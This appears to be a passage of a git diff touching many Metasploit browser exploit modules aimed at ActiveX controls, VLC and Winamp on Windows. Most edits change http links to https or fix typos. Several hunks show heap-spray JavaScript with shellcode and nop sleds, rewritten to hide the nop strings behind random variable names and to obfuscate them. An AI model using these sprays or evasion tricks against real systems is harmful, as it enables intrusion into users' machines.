+++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb
index 9dbdc71812..9df47bd56b 100644
--- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb
+++ b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -82,13 +81,15 @@ class MetasploitModule < Msf::Exploit::Remote
     j_ret        = rand_text_alpha(rand(100) + 1)
     j_junk       = rand_text_alpha(rand(100) + 1)
     j_filename   = rand_text_alpha(rand(16) + 1)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content = %Q|<html>
 <object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
 <script language='javascript'>
 #{j_shellcode} = unescape('#{shellcode}');
-#{j_nops} = unescape('#{nops}');
+#{randnop} = "#{nops}";
+#{j_nops} = unescape(#{randnop});
 #{j_headersize} = 20;
 #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -117,5 +118,4 @@ try {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb
index 7e598cd214..06f52d7281 100644
--- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb
+++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
index 333c51e8cb..b17afdf623 100644
--- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
+++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
index f33596c7d0..9ff29af872 100644
--- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
+++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb
index 1c20245249..a0eb066faf 100644
--- a/modules/exploits/windows/browser/teechart_pro.rb
+++ b/modules/exploits/windows/browser/teechart_pro.rb
@@ -1,5 +1,5 @@
-###
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,9 +12,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super( update_info(info,
       'Name'           => 'TeeChart Professional ActiveX Control Trusted Integer Dereference',
       'Description'    => %q{
-          This module exploits a integer overflow in TeeChart Pro ActiveX control. When
+          This module exploits an integer overflow in TeeChart Pro ActiveX control. When
         sending an overly large/negative integer value to the AddSeries() property of
-        TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the
+        TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the
         value and is later directly trusted and called upon.
 
         This module has been designed to bypass DEP only under IE8 with Java support. Multiple
@@ -138,11 +138,14 @@ class MetasploitModule < Msf::Exploit::Remote
     obj_name  = rand_text_alpha(rand(100) + 1)
     main_sym  = 'main' #main function name
 
+    randnop = rand_text_alpha(rand(100) + 1)
+
     if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
       js = <<-EOS
 var sc = unescape('#{sc}');
 
-var nops = unescape('%u0c0c%u0c0c');
+var #{randnop} = "%u0c0c%u0c0c";
+var nops = unescape(#{randnop});
 var offset = 20;
 var s = offset + sc.length;
 while(nops.length < s) {
@@ -233,7 +236,7 @@ EOS
       #JS obfuscation on demand
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
         main_sym = js.sym('main')
       end
     end
diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
index c81ad09e2d..c1e75fe3a0 100644
--- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
+++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect
         initialization under Internet Explorer.
 
-        While the Tom Sawyer GET Extension Factory is installed with some versions of  VMware
+        While the Tom Sawyer GET Extension Factory is installed with some versions of VMware
         Infrastructure Client, this module has been tested only with the versions installed
         with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX
         control tested is tsgetx71ex553.dll, version 5.5.3.238.
@@ -191,6 +191,8 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
     js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
+    randnop2 = rand_text_alpha(rand(100) + 1)
 
     if my_target['Rop'].nil?
       js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);"
@@ -207,8 +209,10 @@ class MetasploitModule < Msf::Exploit::Remote
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
-    var nops_90 = unescape("#{js_90_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
+    var #{randnop2} = "#{js_90_nops}";
+    var nops_90 = unescape(#{randnop2});
 
     while (nops.length < 0x80000) nops += nops;
     while (nops_90.length < 0x80000) nops_90 += nops_90;
@@ -232,7 +236,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = <<-EOS
@@ -255,7 +259,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb
index b125841f01..209344bb95 100644
--- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb
+++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,8 +23,8 @@
 #  - CVE-2010-3189
 #  - OSVDB 67561
 #  - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative
-#  - http://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
-#  - http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
+#  - https://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
+#  - https://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
 #  - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security
 #
 # Trancer
@@ -107,12 +107,14 @@ class MetasploitModule < Msf::Exploit::Remote
     j_block      = rand_text_alpha(rand(100) + 1)
     j_memory     = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     html = %Q|<html>
 <object classid='clsid:#{clsid}' id='#{ufpbctrl}'></object>
 <script>
 var #{j_shellcode} = unescape('#{shellcode}');
-var #{j_nops} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{j_nops} = unescape(#{randnop});
 var #{j_headersize} = 20;
 var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb
index c8c391d661..514c857acd 100644
--- a/modules/exploits/windows/browser/trendmicro_officescan.rb
+++ b/modules/exploits/windows/browser/trendmicro_officescan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
index 4e02b69e3d..96b65bd1db 100644
--- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
+++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -83,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
index 11e31c1d38..9ce47027fb 100644
--- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
+++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
index 4b990fa685..691c1153dd 100644
--- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
+++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,6 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Convert the pivot addr (in decimal format) to binary,
     # and then break it down to this printable format:
@@ -98,7 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -141,7 +143,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb
index dda8e92016..49a3f76d49 100644
--- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb
+++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,7 +112,7 @@ obj.HttpUpload(arg1, arg2, sploit);
       }
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
 
     # Build the final HTML
     content = %Q|<html>
@@ -134,5 +134,4 @@ Please wait...
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb
index 3a15f0ec2d..261be5ffca 100644
--- a/modules/exploits/windows/browser/verypdf_pdfview.rb
+++ b/modules/exploits/windows/browser/verypdf_pdfview.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
index a00b00d2a9..e447c7f74d 100644
--- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
+++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -146,11 +146,14 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Payload in JS format
     code = Rex::Text.to_unescape(code)
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
 
     spray = <<-JS
     var heap_lib = new heapLib.ie(0x20000);
     var code = unescape("#{code}");
-    var nops = unescape("%u0c0c%u0c0c");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x2000) nops += nops;
     var offset = nops.substring(0, 0x800-0x20);
@@ -172,7 +175,7 @@ class MetasploitModule < Msf::Exploit::Remote
     # Obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     # Randomize the javascript variable names
diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb
index 884d23dccd..af06bb3e3d 100644
--- a/modules/exploits/windows/browser/vlc_amv.rb
+++ b/modules/exploits/windows/browser/vlc_amv.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -159,12 +159,14 @@ class MetasploitModule < Msf::Exploit::Remote
       code = Rex::Text.to_unescape(payload.encoded, arch)
       pivot   = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
     end
+    randnop = rand_text_alpha(rand(100) + 1)
 
     #First spray overwrites 0x0c0c0c0c with our payload
     spray_1 = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{code}");
-    var nops = unescape("#{nops}");
+    var #{randnop} = "#{nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x1000) nops += nops;
     var offset = nops.substring(0, 0x600-0x20);
@@ -183,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
     #which requires us to fill up the memory as high as 0x303234ca
     spray_2 = <<-JS
-    var padding = unescape("#{nops}");
+    var padding = unescape(#{randnop});
     var pivot = unescape("#{pivot}");
 
     while (padding.length < 0x20000) padding += padding;
@@ -204,7 +206,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     #Value for the 'Src' parameter of our ActiveX control
diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb
index 50149cfa88..758c4f7be9 100644
--- a/modules/exploits/windows/browser/vlc_mms_bof.rb
+++ b/modules/exploits/windows/browser/vlc_mms_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -124,12 +124,14 @@ class MetasploitModule < Msf::Exploit::Remote
     arch = Rex::Arch.endian(my_target.arch)
     nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
     code = Rex::Text.to_unescape(payload.encoded, arch)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Spray overwrites 0x30303030 with our payload
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{code}");
-    var nops = unescape("#{nops}");
+    var #{randnop} = "#{nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['OffsetShell']});
@@ -150,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #obfuscate on demand
     if datastore['OBFUSCATE']
       js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
-      js_spray.obfuscate
+      js_spray.obfuscate(memory_sensitive: true)
     end
 
 
diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
index 872b97e502..264fc2d6de 100644
--- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb
+++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ManualRanking
 
diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb
index 4dda3879f0..99efb34b8f 100644
--- a/modules/exploits/windows/browser/webex_ucf_newobject.rb
+++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject
-        ActiveX Control. If an long string is passed to the 'NewObject' method, a stack-
+        ActiveX Control. If a long string is passed to the 'NewObject' method, a stack-
         based buffer overflow will occur when copying attacker-supplied data using the
         sprintf function.
 
@@ -121,7 +121,7 @@ obj.NewObject(sploit);
       }
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
 
     # Build the final HTML
     content = %Q|<html>
@@ -143,5 +143,4 @@ Please wait...
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
index 6e061696f1..2615920b43 100644
--- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
+++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending #{self.name}")
     send_response_html(cli, content)
   end
-
 end
diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb
index 9e1c30b96b..4efaa2d865 100644
--- a/modules/exploits/windows/browser/winamp_playlist_unc.rb
+++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
       'Description'    => %q{
           This module exploits a vulnerability in the Winamp media player.
-        This flaw is triggered when a audio file path is specified, inside a
+        This flaw is triggered when an audio file path is specified, inside a
         playlist, that consists of a UNC path with a long computer name. This
         module delivers the playlist via the browser. This module has only
         been successfully tested on Winamp 5.11 and 5.12.
@@ -141,5 +141,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     return songs
   end
-
 end
diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb
index d7d0964ba0..e823d18b73 100644
--- a/modules/exploits/windows/browser/winamp_ultravox.rb
+++ b/modules/exploits/windows/browser/winamp_ultravox.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in Winamp 5.24. By
         sending an overly long artist tag, a remote attacker may
         be able to execute arbitrary code. This vulnerability can be
-        exploited from the browser or the winamp client itself.
+        exploited from the browser or the Winamp client itself.
       },
       'Author'         => 'MC',
       'License'        => MSF_LICENSE,
@@ -87,7 +87,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     service.close_client(client)
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb
index fb4c5da46e..f17e6e490b 100644
--- a/modules/exploits/windows/browser/windvd7_applicationtype.rb
+++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX
-        control in InterVideo WinDVD 7. By sending a overly long string
+        control in InterVideo WinDVD 7. By sending an overly long string
         to the "ApplicationType()" property, an attacker may be able to
         execute arbitrary code.
       },
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb
index 7df3ea0a16..6af633c260 100644
--- a/modules/exploits/windows/browser/winzip_fileview.rb
+++ b/modules/exploits/windows/browser/winzip_fileview.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb
index 57d21780e8..b69c9f884d 100644
--- a/modules/exploits/windows/browser/wmi_admintools.rb
+++ b/modules/exploits/windows/browser/wmi_admintools.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
         opt-in to ASLR. As such, this module should be reliable on all Windows
         versions.
 
-        The WMI Adminsitrative Tools are a standalone download & install (linked in the
+        The WMI Administrative Tools are a standalone download & install (linked in the
         references).
 
       },
@@ -309,5 +309,4 @@ EOS
     fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
     rvas['BaseAddress'] + rvas[key]
   end
-
 end
diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
index dec324068b..83de2ea8fa 100644
--- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
+++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'                => "X360 VideoPlayer ActiveX Control Buffer Overflow",
       'Description'         => %q{
         This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the
-        X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun
+        X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun
         a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.
       },
       'License'             => MSF_LICENSE,
@@ -142,5 +142,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def strip_comments(input)
     input.gsub(/\/\/.*$/, '')
   end
-
 end
diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb
index 7f0a725345..7a1a4ba560 100644
--- a/modules/exploits/windows/browser/xmplay_asx.rb
+++ b/modules/exploits/windows/browser/xmplay_asx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb
index 06a18e92bc..dacbde4f95 100644
--- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb
+++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
-        Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
+        Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string
         to the "fvCom()" method from a yahoo.com domain, an attacker may be able
         to execute arbitrary code.
       },
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb
index 74f88c63c6..f4f5de1970 100644
--- a/modules/exploits/windows/browser/yahoomessenger_server.rb
+++ b/modules/exploits/windows/browser/yahoomessenger_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
         Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
-        By sending a overly long string to the "Server()" method, and then calling
+        By sending an overly long string to the "Server()" method, and then calling
